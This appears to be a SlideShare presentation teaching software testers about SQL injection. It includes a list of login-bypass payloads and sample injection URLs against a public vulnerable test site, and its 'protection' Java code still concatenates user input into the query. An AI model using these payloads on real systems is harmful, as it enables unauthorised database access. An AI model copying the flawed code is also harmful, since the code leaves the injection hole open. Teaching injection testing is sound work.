SlideShare a Scribd company logo
SQL Injections
Every Tester Needs To Know
BY VLADIMIR ARUTIN
ABOUT MYSELF
VLADIMIR ARUTIN
SENIOR QA at AB SOFT
ISTQB Certified Test Manager
ISTQB and QA Manual Training Instructor
Certified Coach, Public Speaker
OWASP TOP 10
1. INJECTION
2. BROKEN AUTHENTICATION
3. SENSITIVE DATA EXPOSURE
4. XML EXTERNAL ENTITIES (XXE)
5. BROKEN ACCESS CONTROL
6. SECURITY MISCONFIGURATION
7. CROSS-SITE SCRIPTING
8. INSECURE DESERIALIZATION
9. USING COMPONENTS WITH KNOWN VULNERABILITIES
10. INSUFFICIENT LOGGING AND MONITORING
TYPES OF INJECTIONS
SQL
HTML
XML
Shell-command
Code
Log file
LDAP
SSI
XPath XAML
WHAT’S THE POINT
EXAMPLES
<h1>hacked</h1>
EXAMPLES
Web application template for search results page:
User query text:
Generated results: or such results:
EXAMPLES
<user>
<uname>qalab</uname>
<pwd>123456789</pwd>
<role>user</role>
<email>arutin.vladimir@gmail.com</email>
</user>
<user>
<uname>qalab</uname>
<pwd>123456789</pwd>
<role>user</role>
<email>arutin.vladimir@gmail.com</email>
</user>
……..
……..
<use>
<uname>Bill</uname>
<pwd>msk*Q^08f5WspV</pwd>
<role>administrator</role>
<email>bill.gates@microsoft.com</email>
</user>
EXAMPLES
<user>
<uname>qalab</uname>
<pwd>123456789</pwd>
<role>user</role>
<email>hack</email>
<role>administrator</role>
<email>arutin.vladimir@gmail.com</email>
</user>
Top Programming Languages 2020
Top Programming Languages 2020
vulnerable programming languages
2010-2019
WHEN YOU REMINDED THAT you wrote the
world’s biggest social network in PHP
TOTAL REPORTED OPEN SOURCE
VULNERABILITIES PER LANGUAGE
SQL INJECTIONS
HOW DOES IT HAPPEN?
a web application does not validate values received from a web
form, cookie, input parameter, etc., before passing them
to SQL queries.
Your code uses unsanitized data from user input in SQL statements
A malicious user includes SQL elements in the input in a tricky way
Your code executes these SQL elements as part of legitimate SQL
statements
EXAMPLES
SELECT * FROM users WHERE username = ‘admin’- -’
AND password = ‘password’
SELECT * FROM users WHERE username ="" or ""=""
AND password ="" or ""=""
SELECT * FROM clients WHERE clientID = 105 OR 1=1
SQL INJECTIONS EXAMPLES
qalab@gmail.com
xxx’) OR 1=1--]
SELECT * FROM users WHERE email=‘qalab@gmail.com’ AND password=md5(‘xxx’) OR 1=1--]’);
SQL INJECTIONS vocabulary
' or 1=1
' or 1=1–
' or 1=1#
' or 1=1/*
admin' –
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'–
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1–
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'–
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'–
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055
admin" –
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"–
admin" or "1"="1"#
admin" or "1"="1"/*
admin“ or 1=1 or ""=“
admin" or 1=1
SQL Injection Types
Error-based SQL injection
• The attacker creates the SQL injection to make the back-end display an error
• The back-end returns an error to the attacker
• The attacker uses information contained in the error to escalate the attack
• is used to access sensitive information (database type, file names, and more)
SQL Injection Types
Error-based SQL injection
Example: http://testphp.vulnweb.com/listproducts.php?cat=1′
Result: The web application displays the following error in the browser:
Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near ”’ at
line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource,
boolean given in /hj/var/www/listproducts.php on line 74
SQL Injection Types
Union-based SQL injection
• The attacker uses a UNION clause in the payload
• The SQL engine combines sensitive information with legitimate
• information that the web application should display
• The web application displays sensitive information
SQL Injection Types
Example: http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT
1,version(),current_user()
Result: The web application displays the system version and the name of the
current user:
5.1.73-0ubuntu0.10.04.1
acuart@localhost
Union-based SQL injection
SQL Injection Types
Boolean-based SQL injection
• The attacker sends many payloads that make the application
return a different resultS depending on TRUE or FALSE
• The attacker draws a conclusion from web application behavior
for each payload
• is often used to check whether any other SQL injections are
possible but it can also be used to access sensitive information
SQL Injection Types
Example:
http://testphp.vulnweb.com/artists.php?artist=1 AND 1=1
Payload 2:
http://testphp.vulnweb.com/artists.php?artist=1 AND 1=0
Result: In both cases, the application behaves differently. The attacker now
knows that the application is vulnerable to SQL injections.
Boolean-based SQL injection
SQL Injection Types
Time-based SQL injection
the attacker sends a payload that includes a time delay command such
as SLEEP, which delays the whole response
The attacker repeats the process as many times as possible with
different arguments
is used to guess the content of a database cell a character at a time by
using different ASCII values in conjunction with a time delay
SQL Injection Types
Example:
http://testphp.vulnweb.com/artists.php?artist=1-SLEEP(3)
Result: The page loads with a delay. is vulnerable to SQL injections.
Time-based SQL injection
DEMO TIME
WARNING
DON’T TRY THIS AT HOME
VLADIMIR ARUTIN, AB SOFT COMPANY AND IT STEP UNIVERSITY
DO NOT ADVOCATE REPLICATING THE ACTIONS IN THIS DEMO
AND DO NOT TAKE RESPONSIBILITY FOR THOSE WHO DO.
For Educational Purposes Only
How can you protect yourself?
Parameterized Statements
Stored procedures
Web application firewall
Whitelist Input Validation
Escaping All User Supplied Input
USE LIMIT IN SQL QUeRIES
Trust no one
Update and patch
Use appropriate privileges
Continuously monitor SQL statements from dB-connected apps
Buy better software
EXAMPLE OF PROTECTION
// Define which user we want to find.
String email = "user@email.com";
// Connect to the database.
Connection conn = DriverManager.getConnection(URL, USER, PASS);
Statement stmt = conn.createStatement();
// Construct the SQL statement we want to run, specifying the parameter.
String sql = "SELECT * FROM users WHERE email = '" + email + "'";
// Run the query, passing the 'email' parameter value...
ResultSet results = stmt.executeQuery(sql, email);
while (results.next()) {
// ...do something with the data returned.
}
String sql = "SELECT * FROM users WHERE email = ?";
CONCLUSION
BONUS
Danger IS everywhere
DEMO TIME
WARNING
DON’T TRY THIS AT HOME
VLADIMIR ARUTIN, AB SOFT COMPANY AND IT STEP UNIVERSITY
DO NOT ADVOCATE REPLICATING THE ACTIONS IN THIS DEMO
AND DO NOT TAKE RESPONSIBILITY FOR THOSE WHO DO.
For Educational Purposes Only
THANKS FOR WATCHING
AND
God bless your Data base
SQL INJECTIONS EVERY TESTER NEEDS TO KNOW

More Related Content

PPTX
Web application penetration using SQLMAP.
PPT
Selenium Automation Framework
PPTX
SQL injection
DOCX
How to use_cucumber_rest-assured_api_framework
PPTX
Hybrid automation framework
PPTX
Troubleshooting mule
PDF
Automation framework using selenium webdriver with java
PPT
Selenium
Web application penetration using SQLMAP.
Selenium Automation Framework
SQL injection
How to use_cucumber_rest-assured_api_framework
Hybrid automation framework
Troubleshooting mule
Automation framework using selenium webdriver with java
Selenium

What's hot (20)

PPTX
Automated Testing for Websites With Selenium IDE
PPT
Sql injection attacks
PDF
vodQA Pune (2019) - Browser automation using dev tools
PPTX
Selenium tutorials
PPT
Sql injection attacks
PPT
Selenium
PPT
Ppt of soap ui
PPTX
Api testing libraries using java script an overview
PPTX
Mule intelli j tips
PDF
automationframework
PDF
Deployment automation framework with selenium
PDF
Automated Web Testing With Selenium
PPTX
Automation
PPTX
Common SQL Performance Issues
PPTX
Selenium web driver
PPTX
Career in java
PPT
Selenium
PPTX
Web Hacking series part 2
PPTX
SchemaCrawler
PPTX
Filter expression in mule
Automated Testing for Websites With Selenium IDE
Sql injection attacks
vodQA Pune (2019) - Browser automation using dev tools
Selenium tutorials
Sql injection attacks
Selenium
Ppt of soap ui
Api testing libraries using java script an overview
Mule intelli j tips
automationframework
Deployment automation framework with selenium
Automated Web Testing With Selenium
Automation
Common SQL Performance Issues
Selenium web driver
Career in java
Selenium
Web Hacking series part 2
SchemaCrawler
Filter expression in mule
Ad

Similar to SQL INJECTIONS EVERY TESTER NEEDS TO KNOW (20)

PPTX
ASP.NET Web Security
PPTX
SQLi for Security Champions
PDF
Protect Your Database_ SQL Injection Attack Prevention.pdf
PDF
Attques web
PDF
Sql injection
PPTX
Sql injection
PPTX
Sql injections (Basic bypass authentication)
PPTX
Cyber ppt
PDF
SQL Injection Attack Guide for ethical hacking
PPTX
Owasp Top 10 2017
PDF
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
PPTX
seminar report on Sql injection
PDF
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
PDF
Web Vulnerabilities_NGAN Seok Chern
PPTX
SQL Injection
PPT
香港六合彩
PDF
Defcon 17-joseph mccray-adv-sql_injection
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
ASP.NET Web Security
SQLi for Security Champions
Protect Your Database_ SQL Injection Attack Prevention.pdf
Attques web
Sql injection
Sql injection
Sql injections (Basic bypass authentication)
Cyber ppt
SQL Injection Attack Guide for ethical hacking
Owasp Top 10 2017
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
seminar report on Sql injection
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
Web Vulnerabilities_NGAN Seok Chern
SQL Injection
香港六合彩
Defcon 17-joseph mccray-adv-sql_injection
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
Ad

More from Vladimir Arutin (8)

PDF
The Human Side of Microservices
PDF
Automation with Tosca Tricentis
PDF
Экстремальный проектный менеджмент. Набор и управление командой
PDF
Мифы и правда о тестировании ПО
PDF
Software Testing Metrics
PDF
Pairwise Testing
PDF
BDD & Cucumber
PDF
Test Management by Vladimir Arutin
The Human Side of Microservices
Automation with Tosca Tricentis
Экстремальный проектный менеджмент. Набор и управление командой
Мифы и правда о тестировании ПО
Software Testing Metrics
Pairwise Testing
BDD & Cucumber
Test Management by Vladimir Arutin

Recently uploaded (20)

PPTX
Lesson 3_Tessellation.pptx finite Mathematics
PPTX
Strings in CPP - Strings in C++ are sequences of characters used to store and...
PPTX
ANIMAL INTERVENTION WARNING SYSTEM (4).pptx
PDF
Geotechnical Engineering, Soil mechanics- Soil Testing.pdf
PPTX
AgentX UiPath Community Webinar series - Delhi
PPTX
Geodesy 1.pptx...............................................
PPTX
KTU 2019 -S7-MCN 401 MODULE 2-VINAY.pptx
PPTX
“Next-Gen AI: Trends Reshaping Our World”
PDF
오픈소스 LLM, vLLM으로 Production까지 (Instruct.KR Summer Meetup, 2025)
PDF
Model Code of Practice - Construction Work - 21102022 .pdf
PPTX
Unit 5 BSP.pptxytrrftyyydfyujfttyczcgvcd
PDF
algorithms-16-00088-v2hghjjnjnhhhnnjhj.pdf
PPTX
Practice Questions on recent development part 1.pptx
PDF
BRKDCN-2613.pdf Cisco AI DC NVIDIA presentation
PPTX
bas. eng. economics group 4 presentation 1.pptx
PPTX
Fluid Mechanics, Module 3: Basics of Fluid Mechanics
PDF
ETO & MEO Certificate of Competency Questions and Answers
PPTX
CH1 Production IntroductoryConcepts.pptx
PDF
Structs to JSON How Go Powers REST APIs.pdf
PDF
PRIZ Academy - 9 Windows Thinking Where to Invest Today to Win Tomorrow.pdf
Lesson 3_Tessellation.pptx finite Mathematics
Strings in CPP - Strings in C++ are sequences of characters used to store and...
ANIMAL INTERVENTION WARNING SYSTEM (4).pptx
Geotechnical Engineering, Soil mechanics- Soil Testing.pdf
AgentX UiPath Community Webinar series - Delhi
Geodesy 1.pptx...............................................
KTU 2019 -S7-MCN 401 MODULE 2-VINAY.pptx
“Next-Gen AI: Trends Reshaping Our World”
오픈소스 LLM, vLLM으로 Production까지 (Instruct.KR Summer Meetup, 2025)
Model Code of Practice - Construction Work - 21102022 .pdf
Unit 5 BSP.pptxytrrftyyydfyujfttyczcgvcd
algorithms-16-00088-v2hghjjnjnhhhnnjhj.pdf
Practice Questions on recent development part 1.pptx
BRKDCN-2613.pdf Cisco AI DC NVIDIA presentation
bas. eng. economics group 4 presentation 1.pptx
Fluid Mechanics, Module 3: Basics of Fluid Mechanics
ETO & MEO Certificate of Competency Questions and Answers
CH1 Production IntroductoryConcepts.pptx
Structs to JSON How Go Powers REST APIs.pdf
PRIZ Academy - 9 Windows Thinking Where to Invest Today to Win Tomorrow.pdf

SQL INJECTIONS EVERY TESTER NEEDS TO KNOW